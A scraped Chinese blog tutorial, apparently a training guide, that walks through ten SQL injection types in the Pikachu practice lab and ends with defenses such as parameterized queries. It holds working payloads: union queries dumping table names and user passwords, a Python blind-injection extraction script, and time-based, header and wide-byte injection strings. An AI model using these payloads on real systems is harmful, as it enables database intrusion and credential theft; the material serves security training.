news 2026/5/13 23:05:45

新手必看:用Pikachu靶场复现10种SQL注入,从数字型到宽字节一网打尽

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手必看:用Pikachu靶场复现10种SQL注入,从数字型到宽字节一网打尽

从零构建SQL注入攻防思维:Pikachu靶场10类漏洞深度实战指南

当你在浏览器地址栏输入一个网址时,可曾想过这简单的动作背后隐藏着怎样的数据流动?SQL注入就像网络世界的"读心术",让攻击者能够直接与数据库对话。Pikachu靶场作为Web安全领域的经典训练场,其SQL注入模块设计精巧地还原了真实网络攻防场景。本文将带你系统掌握10类SQL注入技术,从基础的数字型注入到复杂的宽字节攻击,每个技术点都配有靶场环境中的实战案例。

1. 实验环境搭建与基础认知

在开始注入实战前,需要确保你的实验环境配置正确。Pikachu靶场基于PHP+MySQL架构,推荐使用XAMPP或Docker快速部署。下载靶场源码后,将其放置在Web服务器的根目录(如/var/www/html/pikachu),然后访问http://localhost/pikachu即可进入训练界面。

关键配置文件检查点

# MySQL配置文件my.cnf关键参数 [mysqld] secure-file-priv = "" # 允许文件操作 log-error = /var/log/mysql/error.log # 开启错误日志

靶场中的users表结构是典型的用户数据存储方式:

CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) DEFAULT NULL, `password` varchar(50) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

注意:实验环境请使用虚拟机或隔离网络,避免对真实系统造成影响。所有注入操作仅限学习用途。

2. 基础注入类型实战解析

2.1 数字型注入:最直接的攻击路径

数字型注入通常出现在URL参数或表单中的数值字段。在Pikachu的"数字型注入"模块,提交用户ID时存在漏洞。通过Burp Suite拦截请求,可以看到参数直接拼接到SQL语句:

原始请求:

GET /pikachu/vul/sqli/sqli_id.php?id=1 HTTP/1.1

恶意构造:

GET /pikachu/vul/sqli/sqli_id.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

攻击流程分解

  1. 确定注入点:输入1 and 1=11 and 1=2测试响应差异
  2. 判断列数:order by 3逐步测试直到报错
  3. 联合查询:union select结合group_concat获取元数据
  4. 数据提取:从information_schema逐步获取表名、列名

2.2 字符型注入:闭合的艺术

字符型注入需要处理引号闭合问题。在Pikachu的"字符型注入"模块,用户名的处理存在缺陷:

测试payload:

kobe' and '1'='1 -- 正常返回 kobe' and '1'='2 -- 异常返回

成功闭合后,可以构建完整注入语句:

admin' union select null,concat_ws(':',username,password) from users--

特殊字符处理表

字符URL编码作用
空格%20分隔符
单引号%27字符串界定
注释符--%20截断后续SQL
井号%23MySQL注释

3. 高级注入技术突破

3.1 布尔盲注:逻辑推理游戏

当页面没有明显报错信息时,布尔盲注通过真/假条件判断来提取数据。Pikachu的布尔盲注模块需要观察页面细微变化:

# 自动化盲注脚本示例 import requests base_url = "http://localhost/pikachu/vul/sqli/sqli_blind_b.php" payload = "admin' and ascii(substr(database(),{},1))={}-- " for i in range(1,8): for c in range(32,127): r = requests.get(base_url, params={"name":payload.format(i,c)}) if "用户存在" in r.text: print(chr(c), end='') break print()

盲注效率优化技巧

  • 使用二分法缩小字符范围
  • 优先查询information_schema的统计信息
  • 缓存已获取的数据减少请求次数

3.2 时间盲注:基于延时的数据渗漏

当布尔条件也无法区分时,时间盲注通过响应延迟判断条件真假。MySQL的sleep()函数是关键:

admin' and if(ascii(substr(database(),1,1))=112,sleep(3),0)--

时间盲注特征对比

类型判断依据适用场景检测难度
布尔盲注页面内容变化有明确真伪反馈中等
时间盲注响应时间延迟无任何内容反馈较高

4. 特殊场景注入实战

4.1 HTTP头注入:被忽视的攻击面

Pikachu的HTTP头注入模块演示了User-Agent等头部字段的漏洞。使用Burp Suite修改请求头:

GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1 Host: localhost User-Agent: ' and updatexml(1,concat(0x7e,database()),1) and ' Accept: text/html

易受攻击的HTTP头部

  • User-Agent
  • X-Forwarded-For
  • Referer
  • Cookie

4.2 宽字节注入:编码转换的陷阱

当数据库使用GBK等宽字符集时,特定字符组合会导致转义失效。Pikachu的宽字节注入模块演示了这种特殊情况:

id=1%df' union select 1,user()--+

宽字节注入原理

  1. 输入%df'被转义为%df\'
  2. %df%5c在GBK编码中被解析为汉字"運"
  3. 单引号成功逃逸,形成注入

5. 防御体系构建与最佳实践

5.1 参数化查询:根本解决方案

所有现代语言都支持参数化查询,这是防御SQL注入的首选方案:

// PHP中的PDO示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $input]);

5.2 纵深防御策略

多层防护措施对比

防护层具体措施有效性实施成本
输入验证白名单过滤
数据库层最小权限原则极高
应用层参数化查询极高
运行时WAF防护

5.3 自动化检测工具

SQL注入检测工具对比

工具名称类型特点适用场景
SQLmap自动化功能全面渗透测试
Burp Suite半自动交互性强安全审计
OWASP ZAP综合型开源免费持续集成

在真实项目开发中,建议将SQL注入防护纳入DevSecOps流程。通过SAST工具在代码提交阶段检测潜在漏洞,结合DAST工具在测试环境进行自动化扫描。记得定期更新WAF规则,因为攻击技术也在不断演进。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/13 23:05:05

看不见的光——红外光源模拟器的世界

你有没有用手机上的热成像相机拍过手掌或一杯热水,看着屏幕上五彩斑斓的“热地图”觉得很神奇?这些图像背后依赖的,就是我们肉眼看不见的红外光。本文以浅显的方式诠释什么是红外光源模拟器、它为什么有用,以及在日常生活和科技应…

作者头像 李华
网站建设 2026/5/13 23:03:11

DRAM读干扰与RowHammer攻击防护技术解析

1. DRAM读干扰问题深度解析 在现代计算机系统中,DRAM(动态随机存取存储器)作为主存储器承担着数据临时存储的关键角色。随着工艺尺寸的不断缩小和存储密度的持续提高,DRAM面临着一个日益严重的安全威胁——读干扰(Read…

作者头像 李华
网站建设 2026/5/13 23:00:08

Windows APK安装器完整指南:无需安卓手机直接安装应用

Windows APK安装器完整指南:无需安卓手机直接安装应用 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 想要在Windows电脑上直接安装Android应用吗&#xff…

作者头像 李华
网站建设 2026/5/13 22:59:04

3D打印定制外壳:从设计到实战,为开源硬件打造专属保护方案

1. 项目概述:为Micro Lipo充电器V2打造专属保护壳如果你和我一样,手头有几个Adafruit的Micro Lipo充电器V2,那你肯定也经历过这种烦恼:这块小巧精致的充电板,功能强大却“身板”单薄,裸露的电路和元器件总让…

作者头像 李华
网站建设 2026/5/13 22:51:03

PowerToys汉化完整指南:3分钟让Windows效率工具说中文

PowerToys汉化完整指南:3分钟让Windows效率工具说中文 【免费下载链接】PowerToys-CN PowerToys Simplified Chinese Translation 微软增强工具箱 自制汉化 项目地址: https://gitcode.com/gh_mirrors/po/PowerToys-CN 你是否曾经因为PowerToys的英文界面而感…

作者头像 李华
网站建设 2026/5/13 22:49:24

改进人工势场多无人机三维航迹规划【附代码】

✨ 长期致力于航迹规划、多无人机、目标分配、人工势场算法、三维空间研究工作,擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,点击《获取方式》 (1)多目标任务分配与人工势场基础&…

作者头像 李华